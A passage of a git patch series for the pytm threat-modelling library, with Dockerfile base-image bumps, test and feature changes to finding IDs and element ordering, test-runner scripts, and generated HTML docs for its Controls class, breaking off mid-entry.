- https://snyk.io/vuln/SNYK-ALPINE313-EXPAT-2407739
- https://snyk.io/vuln/SNYK-ALPINE313-EXPAT-2407752
- https://snyk.io/vuln/SNYK-ALPINE313-EXPAT-2407757
---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 54fe2dd9..0130d4d7 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,5 +1,5 @@
 
-FROM python:3-alpine3.13
+FROM python:3.11.0a5-slim-bullseye
 
 
 WORKDIR /usr/src/app

From 790bfbe7ddec4159fdfa5fed7bb41112f71ee51b Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Wed, 23 Mar 2022 14:25:16 +0100
Subject: [PATCH 48/86] Remove not-in-git again

---
 .gitignore | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/.gitignore b/.gitignore
index 4292367a..997e21cb 100644
--- a/.gitignore
+++ b/.gitignore
@@ -131,8 +131,5 @@ tm/
 /tests/0.txt
 /tests/.config.pytm
 
-# local files
-not-in-git/
-
 # Snyk cache
 .dccache

From 42b64c0e5fa73cbd9b8b95fe3c44af77d3fb9fe1 Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 28 Mar 2022 14:53:14 +0200
Subject: [PATCH 49/86] Delete .dccache

---
 .dccache | 1 -
 1 file changed, 1 deletion(-)
 delete mode 100644 .dccache

diff --git a/.dccache b/.dccache
deleted file mode 100644
index 8761d5a2..00000000
--- a/.dccache
+++ /dev/null
@@ -1 +0,0 @@
-{"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/setup.py":[1172,1642158280939.523,"ed23abe5acf72c844572cae218fe2005ab2045a7de53b83df6f207d3ff89eb0b"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tm.py":[3960,1642158280947.5244,"5ef8255031b9ef8a2d2d6517e92cd82cce81189673ec6afaba24a8f29b0e48b7"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/json.py":[3232,1642158280931.5227,"128047d952b09de0e8e31efaa751054dbd2d5fcb6d79bb73b0b56594443e4fef"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/pytm.py":[63427,1644247688953.1438,"20a25c63f7866ea2a9ba43ba86968cc66d7e11a63e3cb421c73ba7b7847557c4"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/report_util.py":[1337,1642158280931.5227,"af164d1c43a9b2688cb87bf5687d1954febf356024e434fdc0a15776e0961bba"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/template_engine.py":[3586,1642158280931.5227,"fe30652114e4570a2a3540137217794f80dcbfc102c5d467e5342c0b953ba3dc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/pytm/__init__.py":[1234,1642158280931.5227,"2bb0a1dade8cf6f6ff1c197f152cda8cf0370e25e159ef331133613b902402d2"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/test_private_func.py":[9475,1642158280947.5244,"a69468e11fb41bc7f56eb7d96e502e523773f94bee62ce457a16ace9bdb1f8bc"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/test_pytmfunc.py":[49082,1644247688954.1438,"6356c8a31767ecf651738dde9bba8e7c859ad048c0fc6803ca3e2b613b045390"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/tests/__init__.py":[0,1642158280939.523,"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"],"c:/Users/dkperoes/dev/gitwork/per-oestergaard/pytm/docs/pytm/index.html":[173903,1642158280923.5234,"105996e3243916849444da7a3df813ae162779005ffe994a2f55d84e503b7cce"],"c:\\Users\\dkperoes\\dev\\gitwork\\per-oestergaard\\pytm\\pytm\\pytm.py":[63427,1644247688953.1438,"20a25c63f7866ea2a9ba43ba86968cc66d7e11a63e3cb421c73ba7b7847557c4"]}
\ No newline at end of file

From 5da9f1017bb102cb7e782d2e353d3db6cf5d0c55 Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 28 Mar 2022 14:54:31 +0200
Subject: [PATCH 50/86] Reset shape to none

---
 pytm/pytm.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index 4a39b0ea..c1736183 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -1638,7 +1638,7 @@ def _dfd_template(self):
 """
 
     def _shape(self):
-        return "rectangle; style=rounded"
+        return "none"
 
     def dfd(self, **kwargs):
         self._is_drawn = True

From d2be2601cb19d5e6fba07d274986e0d9d16e997f Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 28 Mar 2022 15:11:51 +0200
Subject: [PATCH 51/86] Add not -1 to help text

---
 pytm/pytm.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pytm/pytm.py b/pytm/pytm.py
index c1736183..9d0e5875 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -1303,7 +1303,7 @@ class Element:
     )
     controls = varControls(None)
     includeOrder = varBool(
-        False, doc="If True and Order is set, the displayed name will be formatted as 'order:name'. If you make Order unique, this will give you a stable reference you can use for synchronization etc.")
+        False, doc="If True and Order is set (not -1), the displayed name will be formatted as 'order:name'. If you make Order unique, this will give you a stable reference you can use for synchronization etc.")
     order = varInt(-1, doc="Number of this element in the threat model")
 
     def __init__(self, name, **kwargs):

From 400255a5e6fb5b58203e05f4387889528fcc40d0 Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 28 Mar 2022 16:38:35 +0200
Subject: [PATCH 52/86] Adding test cases

---
 tests/test_pytmfunc.py | 35 +++++++++++++++++++++++++++++++++++
 x                      |  3 +++
 2 files changed, 38 insertions(+)
 create mode 100644 x

diff --git a/tests/test_pytmfunc.py b/tests/test_pytmfunc.py
index 029aefbd..5ee10fde 100644
--- a/tests/test_pytmfunc.py
+++ b/tests/test_pytmfunc.py
@@ -186,6 +186,41 @@ def test_dfd_duplicates_raise(self):
         with self.assertRaisesRegex(ValueError, e):
             tm.check()
 
+    def test_order_in_finding(self):
+        random.seed(0)
+
+        TM.reset()
+        order=1234
+        threat_name = "INP03"
+        formatted_name="{0}:{1}".format(threat_name,order)
+
+        tm = TM("my test tm", description="aaa")
+        web = Server("Web")
+        web.includeOrder= True
+        web.order=order
+
+        tm.resolve()
+
+        self.assertIn(formatted_name, [t.uniqueId for t in tm.findings])
+
+    def test_order_not_in_finding_no_includeorder(self):
+        random.seed(0)
+
+        TM.reset()
+        order=1234
+        threat_name = "INP03"
+        formatted_name="{0}:{1}".format(threat_name,order)
+
+        tm = TM("my test tm", description="aaa")
+        web = Server("Web")
+        web.includeOrder= False
+        web.order=order
+
+        tm.resolve()
+
+        self.assertIn(("1","INP03"), [(t.uniqueId,t.threat_id) for t in tm.findings])
+        self.assertNotIn((formatted_name,"INP03"), [(t.uniqueId,t.threat_id) for t in tm.findings])
+
     def test_exclude_threats_ignore(self):
         random.seed(0)
 
diff --git a/x b/x
new file mode 100644
index 00000000..04b6bfa1
--- /dev/null
+++ b/x
@@ -0,0 +1,3 @@
+cd /pwd
+pip install --force-reinstall pydal > /dev/null
+python -m unittest -f -k order
\ No newline at end of file

From 13598a203052bff531a9f7299cc682ea1125bb58 Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 28 Mar 2022 16:39:17 +0200
Subject: [PATCH 53/86] Remove test file x

---
 x | 3 ---
 1 file changed, 3 deletions(-)
 delete mode 100644 x

diff --git a/x b/x
deleted file mode 100644
index 04b6bfa1..00000000
--- a/x
+++ /dev/null
@@ -1,3 +0,0 @@
-cd /pwd
-pip install --force-reinstall pydal > /dev/null
-python -m unittest -f -k order
\ No newline at end of file

From ecf74f77ac20b53488fb71f3d5e94fe063e5a5b5 Mon Sep 17 00:00:00 2001
From: snyk-bot <snyk-bot@snyk.io>
Date: Wed, 30 Mar 2022 14:39:28 +0000
Subject: [PATCH 54/86] fix: Dockerfile to reduce vulnerabilities

The following vulnerabilities are fixed with an upgrade:
- https://snyk.io/vuln/SNYK-DEBIAN11-GLIBC-2340908
- https://snyk.io/vuln/SNYK-DEBIAN11-GLIBC-2340922
- https://snyk.io/vuln/SNYK-DEBIAN11-OPENSSL-2388380
- https://snyk.io/vuln/SNYK-DEBIAN11-OPENSSL-2426309
- https://snyk.io/vuln/SNYK-DEBIAN11-OPENSSL-2426309
---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 0130d4d7..7622a28c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,5 +1,5 @@
 
-FROM python:3.11.0a5-slim-bullseye
+FROM python:3.11-rc-slim
 
 
 WORKDIR /usr/src/app

From d64a736b9b0a069f78f590b4c5171df71c09be3c Mon Sep 17 00:00:00 2001
From: Izar Tarandach <izar@users.noreply.github.com>
Date: Thu, 28 Apr 2022 09:38:42 -0400
Subject: [PATCH 55/86] Revert "Adding uniqueId and includeOrder"

---
 .gitignore             |  3 ---
 pytm/pytm.py           | 25 +++++--------------------
 tests/test_pytmfunc.py | 35 -----------------------------------
 3 files changed, 5 insertions(+), 58 deletions(-)

diff --git a/.gitignore b/.gitignore
index 997e21cb..f67268c8 100644
--- a/.gitignore
+++ b/.gitignore
@@ -130,6 +130,3 @@ tm/
 /tests/1.txt
 /tests/0.txt
 /tests/.config.pytm
-
-# Snyk cache
-.dccache
diff --git a/pytm/pytm.py b/pytm/pytm.py
index 9d0e5875..b18a197c 100644
--- a/pytm/pytm.py
+++ b/pytm/pytm.py
@@ -652,8 +652,6 @@ class Finding:
 """,
     )
     cvss = varString("", required=False, doc="The CVSS score and/or vector")
-    uniqueId = varString(
-        "", doc="When order is present and includeOrder is true on the object, this will be formatted as findingId:order. E.g. if finding is INP01 and order is 123, the value becomes INP01:123.")
 
     def __init__(
         self,
@@ -811,12 +809,7 @@ def resolve(self):
                     continue
 
                 finding_count += 1
-                if e.includeOrder is True and e.order != -1:
-                    uniqueId="{}:{}".format(t.id,e.order)
-                else:
-                    uniqueId=str(finding_count)
-
-                f = Finding(e, id=str(finding_count), threat=t, uniqueId=uniqueId)
+                f = Finding(e, id=str(finding_count), threat=t)
                 logger.debug(f"new finding: {f}")
                 findings.append(f)
                 elements[e].append(f)
@@ -1302,15 +1295,11 @@ class Element:
         doc="Location of the source code that describes this element relative to the directory of the model script.",
     )
     controls = varControls(None)
-    includeOrder = varBool(
-        False, doc="If True and Order is set (not -1), the displayed name will be formatted as 'order:name'. If you make Order unique, this will give you a stable reference you can use for synchronization etc.")
-    order = varInt(-1, doc="Number of this element in the threat model")
 
     def __init__(self, name, **kwargs):
         for key, value in kwargs.items():
             setattr(self, key, value)
-        if self.includeOrder is True:
-            self.name = "{}:{}".format(self.order, name)
+        self.name = name
         self.controls = Controls()
         self.uuid = uuid.UUID(int=random.getrandbits(128))
         self._is_drawn = False
@@ -1728,10 +1717,7 @@ def __init__(self, source, sink, name, **kwargs):
     def display_name(self):
         if self.order == -1:
             return self.name
-        elif self.includeOrder is True: # order is already included in name
-            return self.name
-        else:
-            return "({}) {}".format(self.order, self.name)
+        return "({}) {}".format(self.order, self.name)
 
     def _dfd_template(self):
         return """{source} -> {sink} [
@@ -1904,8 +1890,8 @@ def encode_element_threat_data(obj):
                v = getattr(o, a)
                if (type(v) is not list or (type(v) is list and len(v) != 0)):
                   c._safeset(a, v)
-
-       encoded_elements.append(c)
+                 
+       encoded_elements.append(c)    
 
     return encoded_elements
 
@@ -1923,7 +1909,6 @@ def encode_threat_data(obj):
         "threat_id",
         "references",
         "condition",
-        "uniqueId"
     ]
 
     if type(obj) is Finding or (len(obj) != 0 and type(obj[0]) is Finding):
diff --git a/tests/test_pytmfunc.py b/tests/test_pytmfunc.py
index 5ee10fde..029aefbd 100644
--- a/tests/test_pytmfunc.py
+++ b/tests/test_pytmfunc.py
@@ -186,41 +186,6 @@ def test_dfd_duplicates_raise(self):
         with self.assertRaisesRegex(ValueError, e):
             tm.check()
 
-    def test_order_in_finding(self):
-        random.seed(0)
-
-        TM.reset()
-        order=1234
-        threat_name = "INP03"
-        formatted_name="{0}:{1}".format(threat_name,order)
-
-        tm = TM("my test tm", description="aaa")
-        web = Server("Web")
-        web.includeOrder= True
-        web.order=order
-
-        tm.resolve()
-
-        self.assertIn(formatted_name, [t.uniqueId for t in tm.findings])
-
-    def test_order_not_in_finding_no_includeorder(self):
-        random.seed(0)
-
-        TM.reset()
-        order=1234
-        threat_name = "INP03"
-        formatted_name="{0}:{1}".format(threat_name,order)
-
-        tm = TM("my test tm", description="aaa")
-        web = Server("Web")
-        web.includeOrder= False
-        web.order=order
-
-        tm.resolve()
-
-        self.assertIn(("1","INP03"), [(t.uniqueId,t.threat_id) for t in tm.findings])
-        self.assertNotIn((formatted_name,"INP03"), [(t.uniqueId,t.threat_id) for t in tm.findings])
-
     def test_exclude_threats_ignore(self):
         random.seed(0)
 

From 809ecefe822b51cacc3363a98748fedeead4024b Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 2 May 2022 11:15:24 +0200
Subject: [PATCH 56/86] Create output files from tests in tempdir

---
 tests/test_pytmfunc.py | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/tests/test_pytmfunc.py b/tests/test_pytmfunc.py
index 029aefbd..f0f00981 100644
--- a/tests/test_pytmfunc.py
+++ b/tests/test_pytmfunc.py
@@ -3,6 +3,7 @@
 import random
 import re
 import unittest
+import tempfile
 from contextlib import redirect_stdout
 
 from pytm import (
@@ -34,6 +35,7 @@
 ) as threat_file:
     threats = {t["SID"]: Threat(**t) for t in json.load(threat_file)}
 
+output_path=tempfile.gettempdir()
 
 class TestTM(unittest.TestCase):
     def test_seq(self):
@@ -325,7 +327,7 @@ def test_json_dumps(self):
         self.assertTrue(tm.check())
         output = json.dumps(tm, default=to_serializable, sort_keys=True, indent=4)
 
-        with open(os.path.join(dir_path, "output_current.json"), "w") as x:
+        with open(os.path.join(output_path, "output_current.json"), "w") as x:
             x.write(output)
 
         self.maxDiff = None
@@ -395,10 +397,10 @@ def test_report(self):
         self.assertTrue(tm.check())
         output = tm.report("docs/basic_template.md")
 
-        with open(os.path.join(dir_path, "output_current.md"), "w") as x:
+        with open(os.path.join(output_path, "output_current.md"), "w") as x:
             x.write(output)
 
-        with open(os.path.join(dir_path, "output_current.md"), "w") as x:
+        with open(os.path.join(output_path, "output_current.md"), "w") as x:
             x.write(output)
 
         self.maxDiff = None
@@ -433,7 +435,7 @@ def test_multilevel_dfd(self):
 
         self.assertTrue(tm.check())
         output = tm.dfd(levels={0})
-        with open(os.path.join(dir_path, "0.txt"), "w") as x:
+        with open(os.path.join(output_path, "0.txt"), "w") as x:
             x.write(output)
         self.assertEqual(output, level_0)
 
@@ -452,7 +454,7 @@ def test_multilevel_dfd(self):
 
         self.assertTrue(tm.check())
         output = tm.dfd(levels={1})
-        with open(os.path.join(dir_path, "1.txt"), "w") as x:
+        with open(os.path.join(output_path, "1.txt"), "w") as x:
             x.write(output)
         self.maxDiff = None
         self.assertEqual(output, level_1)

From 858fde601a45ea8eeb30486954d432050caf716a Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 2 May 2022 11:16:10 +0200
Subject: [PATCH 57/86] As test output files are in tempdir, we do not have to
 ignore them

---
 .gitignore | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/.gitignore b/.gitignore
index f67268c8..dfbba4c8 100644
--- a/.gitignore
+++ b/.gitignore
@@ -125,8 +125,4 @@ tm_example.dot
 plantuml.jar
 tm/
 /sqldump
-/tests/output_current.json
-/tests/output_current.md
-/tests/1.txt
-/tests/0.txt
 /tests/.config.pytm

From fa8c0bbf6cc42b7dc76aefdc378c2d441cdf36b2 Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 2 May 2022 11:39:23 +0200
Subject: [PATCH 58/86] Adding scripts to make testing easier

---
 tests/run-unittests.ps1 | 10 ++++++++++
 tests/run-unittests.sh  |  6 ++++++
 x.sh                    |  7 +++++++
 3 files changed, 23 insertions(+)
 create mode 100644 tests/run-unittests.ps1
 create mode 100644 tests/run-unittests.sh
 create mode 100644 x.sh

diff --git a/tests/run-unittests.ps1 b/tests/run-unittests.ps1
new file mode 100644
index 00000000..8e6f8c2c
--- /dev/null
+++ b/tests/run-unittests.ps1
@@ -0,0 +1,10 @@
+[CmdletBinding()]
+param (
+  [ValidateSet('always', 'never')]
+  [string] $pull = 'always'
+)
+
+# Run all tests using docker and a read-only file system so the docker image cannot impact the local files.
+
+$rootFolder = Split-Path $PSScriptRoot
+docker run --pull $pull --rm -v "${rootFolder}:/pwd:ro" python bash /pwd/tests/run-unittests.sh
\ No newline at end of file
diff --git a/tests/run-unittests.sh b/tests/run-unittests.sh
new file mode 100644
index 00000000..c98f02fe
--- /dev/null
+++ b/tests/run-unittests.sh
@@ -0,0 +1,6 @@
+# Script to prepare the environment and run the test. Is invoked by run-unittests.ps1
+
+cd /pwd && \
+pip install -r requirements-dev.txt && \
+pip install -r requirements.txt && \
+python3 -m unittest -v tests/test_pytmfunc.py
\ No newline at end of file
diff --git a/x.sh b/x.sh
new file mode 100644
index 00000000..504b5c00
--- /dev/null
+++ b/x.sh
@@ -0,0 +1,7 @@
+cd /pwd
+ls -l
+pip install -r requirements-dev.txt
+pip install -r requirements.txt
+pwd 
+python3 -m unittest -v tests/test_pytmfunc.py
+ls
\ No newline at end of file

From 5b1874a9d92f758b61cea2c6ae75073ec0295cd2 Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 2 May 2022 11:48:22 +0200
Subject: [PATCH 59/86] x.sh snug in. Removing it

---
 x.sh | 7 -------
 1 file changed, 7 deletions(-)
 delete mode 100644 x.sh

diff --git a/x.sh b/x.sh
deleted file mode 100644
index 504b5c00..00000000
--- a/x.sh
+++ /dev/null
@@ -1,7 +0,0 @@
-cd /pwd
-ls -l
-pip install -r requirements-dev.txt
-pip install -r requirements.txt
-pwd 
-python3 -m unittest -v tests/test_pytmfunc.py
-ls
\ No newline at end of file

From 3e0ec9d44da85fc194f9c060bd2402f3332a560f Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 9 May 2022 11:48:36 +0200
Subject: [PATCH 60/86] Include all tests (test_*.py)

---
 tests/run-unittests.sh | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/tests/run-unittests.sh b/tests/run-unittests.sh
index c98f02fe..451663f6 100644
--- a/tests/run-unittests.sh
+++ b/tests/run-unittests.sh
@@ -3,4 +3,4 @@
 cd /pwd && \
 pip install -r requirements-dev.txt && \
 pip install -r requirements.txt && \
-python3 -m unittest -v tests/test_pytmfunc.py
\ No newline at end of file
+python3 -m unittest -v tests/test_*.py
\ No newline at end of file

From 1ef2a205e4c12ff59dd0a4ca38d4d3d8a860745b Mon Sep 17 00:00:00 2001
From: Per Oestergaard <per.oestergaard@lego.com>
Date: Mon, 9 May 2022 13:06:04 +0200
Subject: [PATCH 61/86] Empty commit to re-run codeql


From 51bd6a7b11b44da51a540295c04711dae6506156 Mon Sep 17 00:00:00 2001
From: Al S <xee5ch.gh.al@il5.in>
Date: Mon, 30 May 2022 17:19:35 -0400
Subject: [PATCH 62/86] Correct base image to use Python's Alpine image

As it stands, the current image is slim, which is Debian-based. This minor correction will use the `-alpine` flavor of official Python docker images so the apk commands work.
---
 Dockerfile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/Dockerfile b/Dockerfile
index 7622a28c..aa3047c6 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,5 +1,5 @@
 
-FROM python:3.11-rc-slim
+FROM python:3.11-rc-alpine
 
 
 WORKDIR /usr/src/app

From c8a9758be05fb9523352ffd0f56066e8206eb26b Mon Sep 17 00:00:00 2001
From: colesmj <39390458+colesmj@users.noreply.github.com>
Date: Fri, 22 Jul 2022 17:14:31 -0400
Subject: [PATCH 63/86] Update LICENSE

Fixed a spelling error.
---
 LICENSE | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/LICENSE b/LICENSE
index af3342a2..2cb4bd89 100644
--- a/LICENSE
+++ b/LICENSE
@@ -22,7 +22,7 @@ SOFTWARE.
 
 ========================================================
 
-PyTM uses material from CAPEC on its threat catalog. CAPEC has its own license, reproduced bellow:
+PyTM uses material from CAPEC on its threat catalog. CAPEC has its own license, reproduced below:
 
 LICENSE
 The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use Common Attack Pattern Enumeration and Classification (CAPEC™) for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE’s copyright designation and this license in any such copy.

From 589e17d24f2e0a51f3d1eed7cdcc64816ff2fd83 Mon Sep 17 00:00:00 2001
From: Jeff <jharnois4512@gmail.com>
Date: Thu, 28 Jul 2022 07:31:51 -0400
Subject: [PATCH 64/86] Adding in the Controls and DatastoreType classes to
 documentation

---
 docs/pytm/index.html | 1008 +++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 1007 insertions(+), 1 deletion(-)

diff --git a/docs/pytm/index.html b/docs/pytm/index.html
index 25d09c87..90fd0a2e 100644
--- a/docs/pytm/index.html
+++ b/docs/pytm/index.html
@@ -31,10 +31,12 @@ <h1 class="title">Package <code>pytm</code></h1>
     &#34;Actor&#34;,
     &#34;Boundary&#34;,
     &#34;Classification&#34;,
+    &#34;Controls&#34;,
     &#34;TLSVersion&#34;,
     &#34;Data&#34;,
     &#34;Dataflow&#34;,
     &#34;Datastore&#34;,
+    &#34;DatastoreType&#34;,
     &#34;Element&#34;,
     &#34;ExternalEntity&#34;,
     &#34;Finding&#34;,
@@ -58,9 +60,11 @@ <h1 class="title">Package <code>pytm</code></h1>
     Actor,
     Boundary,
     Classification,
+    Controls,
     Data,
     Dataflow,
     Datastore,
+    DatastoreType,
     Element,
     ExternalEntity,
     Finding,
@@ -498,6 +502,822 @@ <h3>Class variables</h3>
 </dd>
 </dl>
 </dd>
+<dt id="pytm.Controls"><code class="flex name class">
+<span>class <span class="ident">Controls</span></span>
+</code></dt>
+<dd>
+<div class="desc"><p>Controls implemented by/on and Element</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">class Controls:
+&#34;&#34;&#34;Controls implemented by/on and Element&#34;&#34;&#34;
+
+authenticatesDestination = varBool(
+    False,
+    doc=&#34;&#34;&#34;Verifies the identity of the destination,
+for example by verifying the authenticity of a digital certificate.&#34;&#34;&#34;,
+)
+authenticatesSource = varBool(False)
+authenticationScheme = varString(&#34;&#34;)
+authorizesSource = varBool(False)
+checksDestinationRevocation = varBool(
+    False,
+    doc=&#34;&#34;&#34;Correctly checks the revocation status
+of credentials used to authenticate the destination&#34;&#34;&#34;,
+)
+checksInputBounds = varBool(False)
+definesConnectionTimeout = varBool(False)
+disablesDTD = varBool(False)
+disablesiFrames = varBool(False)
+encodesHeaders = varBool(False)
+encodesOutput = varBool(False)
+encryptsCookies = varBool(False)
+encryptsSessionData = varBool(False)
+handlesCrashes = varBool(False)
+handlesInterruptions = varBool(False)
+handlesResourceConsumption = varBool(False)
+hasAccessControl = varBool(False)
+implementsAuthenticationScheme = varBool(False)
+implementsCSRFToken = varBool(False)
+implementsNonce = varBool(
+    False,
+    doc=&#34;&#34;&#34;Nonce is an arbitrary number
+that can be used just once in a cryptographic communication.
+It is often a random or pseudo-random number issued in an authentication protocol
+to ensure that old communications cannot be reused in replay attacks.
+They can also be useful as initialization vectors and in cryptographic
+hash functions.&#34;&#34;&#34;,
+)
+implementsPOLP = varBool(
+    False,
+    doc=&#34;&#34;&#34;The principle of least privilege (PoLP),
+also known as the principle of minimal privilege or the principle of least authority,
+requires that in a particular abstraction layer of a computing environment,
+every module (such as a process, a user, or a program, depending on the subject)
+must be able to access only the information and resources
+that are necessary for its legitimate purpose.&#34;&#34;&#34;,
+)
+implementsServerSideValidation = varBool(False)
+implementsStrictHTTPValidation = varBool(False)
+invokesScriptFilters = varBool(False)
+isEncrypted = varBool(False, doc=&#34;Requires incoming data flow to be encrypted&#34;)
+isEncryptedAtRest = varBool(False, doc=&#34;Stored data is encrypted at rest&#34;)
+isHardened = varBool(False)
+isResilient = varBool(False)
+providesConfidentiality = varBool(False)
+providesIntegrity = varBool(False)
+sanitizesInput = varBool(False)
+tracksExecutionFlow = varBool(False)
+usesCodeSigning = varBool(False)
+usesEncryptionAlgorithm = varString(&#34;&#34;)
+usesMFA = varBool(
+    False,
+    doc=&#34;&#34;&#34;Multi-factor authentication is an authentication method
+in which a computer user is granted access only after successfully presenting two
+or more pieces of evidence (or factors) to an authentication mechanism: knowledge
+(something the user and only the user knows), possession (something the user
+and only the user has), and inherence (something the user and only the user is).&#34;&#34;&#34;,
+)
+usesParameterizedInput = varBool(False)
+usesSecureFunctions = varBool(False)
+usesStrongSessionIdentifiers = varBool(False)
+usesVPN = varBool(False)
+validatesContentType = varBool(False)
+validatesHeaders = varBool(False)
+validatesInput = varBool(False)
+verifySessionIdentifiers = varBool(False)
+
+def _attr_values(self):
+    klass = self.__class__
+    result = {}
+    for i in dir(klass):
+        if i.startswith(&#34;_&#34;) or callable(getattr(klass, i)):
+            continue
+        attr = getattr(klass, i, {})
+        if isinstance(attr, var):
+            value = attr.data.get(self, attr.default)
+        else:
+            value = getattr(self, i)
+        result[i] = value
+    return result
+
+
+def _safeset(self, attr, value):
+    try:
+        setattr(self, attr, value)
+    except ValueError:
+        pass</code></pre>
+</details>
+<h3>Instance variables</h3>
+<dl>
+<dt id="pytm.Controls.authenticatesDestination"><code class="name">var <span class="ident">authenticatesDestination</span></code></dt>
+<dd>
+<div class="desc"><p>Verifies the identity of the destination,
+for example by verifying the authenticity of a digital certificate.</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.authenticatesSource"><code class="name">var <span class="ident">authenticatesSource</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.authenticationScheme"><code class="name">var <span class="ident">authenticationScheme</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.authorizesSource"><code class="name">var <span class="ident">authorizesSource</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.checksDestinationRevocation"><code class="name">var <span class="ident">checksDestinationRevocation</span></code></dt>
+<dd>
+<div class="desc"><p>Correctly checks the revocation status
+of credentials used to authenticate the destination</p></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.checksInputBounds"><code class="name">var <span class="ident">checksInputBounds</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.definesConnectionTimeout"><code class="name">var <span class="ident">definesConnectionTimeout</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.disablesDTD"><code class="name">var <span class="ident">disablesDTD</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
+return self.data.get(instance, self.default)</code></pre>
+</details>
+</dd>
+<dt id="pytm.Controls.disablesiFrames"><code class="name">var <span class="ident">disablesiFrames</span></code></dt>
+<dd>
+<div class="desc"></div>
+<details class="source">
+<summary>
+<span>Expand source code</span>
+</summary>
+<pre><code class="python">def __get__(self, instance, owner):
+# when x.d is called we get here
+# instance = x
+# owner = type(x)
+if instance is None:
+    return self
